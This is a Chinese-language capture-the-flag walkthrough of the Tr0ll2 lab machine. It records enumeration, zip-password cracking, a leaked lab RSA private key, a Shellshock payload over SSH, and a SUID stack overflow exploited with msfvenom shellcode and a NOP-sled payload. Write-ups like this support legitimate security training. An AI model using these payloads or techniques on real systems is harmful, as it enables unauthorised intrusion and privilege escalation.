信息收集
确定 IP 地址
我的环境特殊,攻击机和靶机并不在同一网段,故无法利用 arp 进行探活,此处利用 nmap 的 sn 选项进行探活:
1
2
3
4
|
nmap -sn 10.1.1.0/24
Nmap scan report for 10.1.1.53
Host is up (0.0067s latency).
|
可知靶机的 IP 为 10.1.1.53。
端口扫描及服务枚举
首先进行全 TCP 端口的 SYN 扫描,发现开放 TCP 端口 21,22,80:
1
2
3
4
5
6
7
8
9
|
nmap -sS -p- -oA tcp_full_port -Pn -n 10.1.1.53
Nmap scan report for 10.1.1.53
Host is up (0.0056s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
|
接下来枚举 banner 及服务:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
nmap -sV -sC -p21,22,80 -Pn -n -oA 10.1.1.53
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 82:fe:93:b8:fb:38:a6:77:b5:a6:25:78:6b:35:e2:a8 (DSA)
| 2048 7d:a5:99:b8:fb:67:65:c9:64:86:aa:2c:d6:ca:08:5d (RSA)
|_ 256 91:b8:6a:45:be:41:fd:c8:14:b5:02:a0:66:7c:8c:96 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: Host: Tr0ll; OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
可见,21 端口上运行着 ftp,22 端口上运行着 OpenSSH,80 端口上运行着 Apache。
最后,顺手扫描常用 20 个 udp 端口:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
nmap -sU --top-ports 20 -sV -sC -Pn -n -oA udp_top_20_ports 10.1.1.33
PORT STATE SERVICE VERSION
53/udp open|filtered domain
67/udp open|filtered dhcps
68/udp open|filtered dhcpc
69/udp open|filtered tftp
123/udp open|filtered ntp
135/udp open|filtered msrpc
137/udp open|filtered netbios-ns
138/udp open|filtered netbios-dgm
139/udp open|filtered netbios-ssn
161/udp open|filtered snmp
162/udp open|filtered snmptrap
445/udp open|filtered microsoft-ds
500/udp open|filtered isakmp
514/udp open|filtered syslog
520/udp open|filtered route
631/udp open|filtered ipp
1434/udp open|filtered ms-sql-m
1900/udp open|filtered upnp
4500/udp open|filtered nat-t-ike
49152/udp open|filtered unknown
|
并没有额外的发现。
80 端口枚举
直接打开浏览器查看页面,主页依旧只有一张图片:

查看页面源码,注释中发现疑似用户名 “Tr0ll":
1
2
3
4
5
6
|
<html>
<img src='tr0ll_again.jpg'>
</html>
<!--Nothing here, Try Harder!>
<!--Author: Tr0ll>
<!--Editor: VIM>
|
继续访问 http://10.1.1.53/robots.txt:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
User-agent:*
Disallow:
/noob
/nope
/try_harder
/keep_trying
/isnt_this_annoying
/nothing_here
/404
/LOL_at_the_last_one
/trolling_is_fun
/zomg_is_this_it
/you_found_me
/I_know_this_sucks
/You_could_give_up
/dont_bother
/will_it_ever_end
/I_hope_you_scripted_this
/ok_this_is_it
/stop_whining
/why_are_you_still_looking
/just_quit
/seriously_stop
|
使用 dirb 来扫描 robots.txt 中的内容:
1
2
3
4
5
6
7
8
|
dirb http://10.1.1.53 robots.txt -o tcp_80_dirb_with_robots.txt
---- Scanning URL: http://10.1.1.53/ ----
+ http://10.1.1.53//noob (CODE:301|SIZE:305)
+ http://10.1.1.53//keep_trying (CODE:301|SIZE:312)
+ http://10.1.1.53//dont_bother (CODE:301|SIZE:312)
+ http://10.1.1.53//ok_this_is_it (CODE:301|SIZE:314)
-----------------
|
扫描出来的四个链接,内容均为一张搞怪图片,看起来并无差别,也没有注释:

将图片全部下载下来,查看 md5 看有何不同:
1
2
3
4
5
6
|
md5sum cat_the_troll.jpg*
8e40e4bf4212b317788de52381072cd8 cat_the_troll.jpg
f094e16de91dae231812a2fb382d8803 cat_the_troll.jpg.1
8e40e4bf4212b317788de52381072cd8 cat_the_troll.jpg.2
8e40e4bf4212b317788de52381072cd8 cat_the_troll.jpg.3
|
有一张明显不同,既然 cat the troll,那就 cat 一下:
1
|
cat cat_the_troll.jpg.1
|

y0ur_self,作为目录访问:

发现文件 answer.txt,文件的内容看起来是经过 base64 编码,下载并解码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
base64 -d answer.txt | less
A
A
AA
AB
ABM
AC
ACTH
AI
AIDS
AM
AOL
AOL
ASCII
ASL
ATM
ATP
AWOL
AZ
AZT
:
|
看起来是一个字典,保存为 answer_decode.txt 备用。
21 端口枚举
利用刚从注释中取得的用户名,密码与用户名相同,登录到 ftp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
ftp 10.1.1.53
Connected to 10.1.1.53.
220 Welcome to Tr0ll FTP... Only noobs stay for a while...
Name (10.1.1.53:ja): Tr0ll
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
Passive mode on.
ftp> binary
200 Switching to Binary mode.
ftp> ls
227 Entering Passive Mode (10,1,1,53,165,101).
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 1474 Oct 04 2014 lmao.zip
226 Directory send OK.
|
发现有文件 lmao.zip,下载至本地,尝试解压但存在密码:
1
2
3
4
5
6
7
8
9
10
11
12
|
7z x lmao.zip
Scanning the drive for archives:
1 file, 1474 bytes (2 KiB)
Extracting archive: lmao.zip
--
Path = lmao.zip
Type = zip
Physical Size = 1474
Enter password (will not be echoed):
|
刚才的字典派上用场了,先利用 zip2john 从压缩文件中提取 hash,然后利用 john 进行破解:
1
2
3
4
5
6
7
8
9
|
zip2john lmao.zip > hash && john --wordlist=answer_decode.txt hash
ver 2.0 efh 5455 efh 7875 lmao.zip/noob PKZIP Encr: 2b chk, TS_chk, cmplen=1300, decmplen=1679, crc=70E48BAD
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ItCantReallyBeThisEasyRightLOL (lmao.zip/noob)
|
密码为 ItCantReallyBeThisEasyRightLOL,接着解压压缩包得到 noob,该文件明显是一个私钥:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAsIthv5CzMo5v663EMpilasuBIFMiftzsr+w+UFe9yFhAoLqq
yDSPjrmPsyFePcpHmwWEdeR5AWIv/RmGZh0Q+Qh6vSPswix7//SnX/QHvh0CGhf1
/9zwtJSMely5oCGOujMLjDZjryu1PKxET1CcUpiylr2kgD/fy11Th33KwmcsgnPo
q+pMbCh86IzNBEXrBdkYCn222djBaq+mEjvfqIXWQYBlZ3HNZ4LVtG+5in9bvkU5
z+13lsTpA9px6YIbyrPMMFzcOrxNdpTY86ozw02+MmFaYfMxyj2GbLej0+qniwKy
e5SsF+eNBRKdqvSYtsVE11SwQmF4imdJO0buvQIDAQABAoIBAA8ltlpQWP+yduna
u+W3cSHrmgWi/Ge0Ht6tP193V8IzyD/CJFsPH24Yf7rX1xUoIOKtI4NV+gfjW8i0
gvKJ9eXYE2fdCDhUxsLcQ+wYrP1j0cVZXvL4CvMDd9Yb1JVnq65QKOJ73CuwbVlq
UmYXvYHcth324YFbeaEiPcN3SIlLWms0pdA71Lc8kYKfgUK8UQ9Q3u58Ehlxv079
La35u5VH7GSKeey72655A+t6d1ZrrnjaRXmaec/j3Kvse2GrXJFhZ2IEDAfa0GXR
xgl4PyN8O0L+TgBNI/5nnTSQqbjUiu+aOoRCs0856EEpfnGte41AppO99hdPTAKP
aq/r7+UCgYEA17OaQ69KGRdvNRNvRo4abtiKVFSSqCKMasiL6aZ8NIqNfIVTMtTW
K+WPmz657n1oapaPfkiMRhXBCLjR7HHLeP5RaDQtOrNBfPSi7AlTPrRxDPQUxyxx
n48iIflln6u85KYEjQbHHkA3MdJBX2yYFp/w6pYtKfp15BDA8s4v9HMCgYEA0YcB
TEJvcW1XUT93ZsN+lOo/xlXDsf+9Njrci+G8l7jJEAFWptb/9ELc8phiZUHa2dIh
WBpYEanp2r+fKEQwLtoihstceSamdrLsskPhA4xF3zc3c1ubJOUfsJBfbwhX1tQv
ibsKq9kucenZOnT/WU8L51Ni5lTJa4HTQwQe9A8CgYEAidHV1T1g6NtSUOVUCg6t
0PlGmU9YTVmVwnzU+LtJTQDiGhfN6wKWvYF12kmf30P9vWzpzlRoXDd2GS6N4rdq
vKoyNZRw+bqjM0XT+2CR8dS1DwO9au14w+xecLq7NeQzUxzId5tHCosZORoQbvoh
ywLymdDOlq3TOZ+CySD4/wUCgYEAr/ybRHhQro7OVnneSjxNp7qRUn9a3bkWLeSG
th8mjrEwf/b/1yai2YEHn+QKUU5dCbOLOjr2We/Dcm6cue98IP4rHdjVlRS3oN9s
G9cTui0pyvDP7F63Eug4E89PuSziyphyTVcDAZBriFaIlKcMivDv6J6LZTc17sye
q51celUCgYAKE153nmgLIZjw6+FQcGYUl5FGfStUY05sOh8kxwBBGHW4/fC77+NO
vW6CYeE+bA2AQmiIGj5CqlNyecZ08j4Ot/W3IiRlkobhO07p3nj601d+OgTjjgKG
zp8XZNG8Xwnd5K59AVXZeiLe2LGeYbUKGbHyKE3wEVTTEmgaxF4D1g==
-----END RSA PRIVATE KEY-----
|
获取 Initial Shell
利用刚取得的私钥,尝试了几个用户名,noob 与该私钥对应,但是无法直接登录:
1
2
3
4
|
ssh noob@10.1.1.53 -i noob
TRY HARDER LOL!
Connection to 10.1.1.53 closed.
|
存在某种限制,尝试使用 ssh -t 参数执行 /bin/sh 进行绕过,无果:
1
2
3
4
|
ssh noob@10.1.1.53 -i noob -t /bin/sh
TRY HARDER LOL!
Connection to 10.1.1.53 closed.
|
ssh 直接执行命令:
1
2
3
|
ssh noob@10.1.1.53 -i noob whoami
TRY HARDER LOL!
|
经过查询,应该是在 authorized_keys 中使用 command 进行了限制。最后尝试 shellshock,可任意执行命令:
1
2
3
|
ssh noob@10.1.1.53 -i noob '() { :;}; id'
uid=1002(noob) gid=1002(noob) groups=1002(noob)
|
那么直接执行 bash,利用 python 获取一个伪终端环境:

提权
一番枚举过后,除了内核版本低,有一个奇怪的文件夹中有奇怪的具有 SUID 权限的可执行程序外,并无其它发现。

三个文件夹内分别有一个 r00t, 但只有一个有用,其它两个都是坑,且具体是哪个是会变化的。所以说只能碰运气去找,正确的那个会接受一个命令行参数,如下所示:

该机器的 nc 被做了手脚无法使用,但是有 Python 且防火墙策略没那么严格,直接利用 SimpleHTTPServer 将该文件传出分析,使用 Ghidra 观察其 main 函数:

strcpy 直接复制命令行参数到栈缓冲区,查看程序具有的防护机制,无 PIE,NX,canary,摆明了是简单的直接利用:
1
2
3
4
|
checksec --file=r00t
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 73) Symbols No 0 2 r00t
|
机器上也存在 gdb,直接调试。
首先生成特征串,用来确定缓冲区的大小:
1
2
3
|
msf-pattern_create -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
|


EIP 被 0x6a413969 覆盖,查询偏移:
1
2
3
|
msf-pattern_offset -q 0x6a413969
[*] Exact match at offset 268
|
尝试寻找 jmp esp 的跳板,并没有,看来只能填一个栈上的绝对地址。因为是绝对地址故有一些注意事项,利用 msfvenom 生成 shellcode,由于使用 strcpy 进行拷贝,需避免出现 \x00。
1
2
3
4
5
6
7
8
9
|
msfvenom -p linux/x86/exec CMD="/bin/sh" -b "\x00" -f python
buf = b""
buf += b"\xda\xd2\xd9\x74\x24\xf4\x58\xbb\xf6\x54\xa3\xbb\x31"
buf += b"\xc9\xb1\x0b\x83\xc0\x04\x31\x58\x16\x03\x58\x16\xe2"
buf += b"\x03\x3e\xa8\xe3\x72\xed\xc8\x7b\xa9\x71\x9c\x9b\xd9"
buf += b"\x5a\xed\x0b\x19\xcd\x3e\xae\x70\x63\xc8\xcd\xd0\x93"
buf += b"\xc2\x11\xd4\x63\xfc\x73\xbd\x0d\x2d\x07\x55\xd2\x66"
buf += b"\xb4\x2c\x33\x45\xba"
|
环境变量和命令行参数都是布局在栈地址之上的,也就是栈底位置。所以这里才先生成payload再确定覆盖的地址,暂时 payload 如下所示,覆盖的地址暂时用 BBBB 替代:
1
|
python -c "print 'A' * 268 + 'BBBB' + '\x90' * 512 + '\xda\xd2\xd9\x74\x24\xf4\x58\xbb\xf6\x54\xa3\xbb\x31\xc9\xb1\x0b\x83\xc0\x04\x31\x58\x16\x03\x58\x16\xe2\x03\x3e\xa8\xe3\x72\xed\xc8\x7b\xa9\x71\x9c\x9b\xd9\x5a\xed\x0b\x19\xcd\x3e\xae\x70\x63\xc8\xcd\xd0\x93\xc2\x11\xd4\x63\xfc\x73\xbd\x0d\x2d\x07\x55\xd2\x66\xb4\x2c\x33\x45\xba'"
|
gdb 调试前先在 main 函数 RET 处下断点:

使用以上的参数运行程序,成功断下,查看寄存器:

ESP 的值为 0xbffff8cc,由于这里布置了 512 字节的 nop 在 shellcode 前方,故覆盖地址的选择便十分宽松(gdb 内和外的栈不完全相同,这里借用大片的 nop 来抵消),我选择 0xbffff880,重新运行程序:

拿到 root 权限。
参考
-
How To Run / Execute Command Using SSH
-
how can shellshock be exploited over SSH?
-
Differences in environment layout with and without GDB
-
Buffer overflow works in gdb but not without it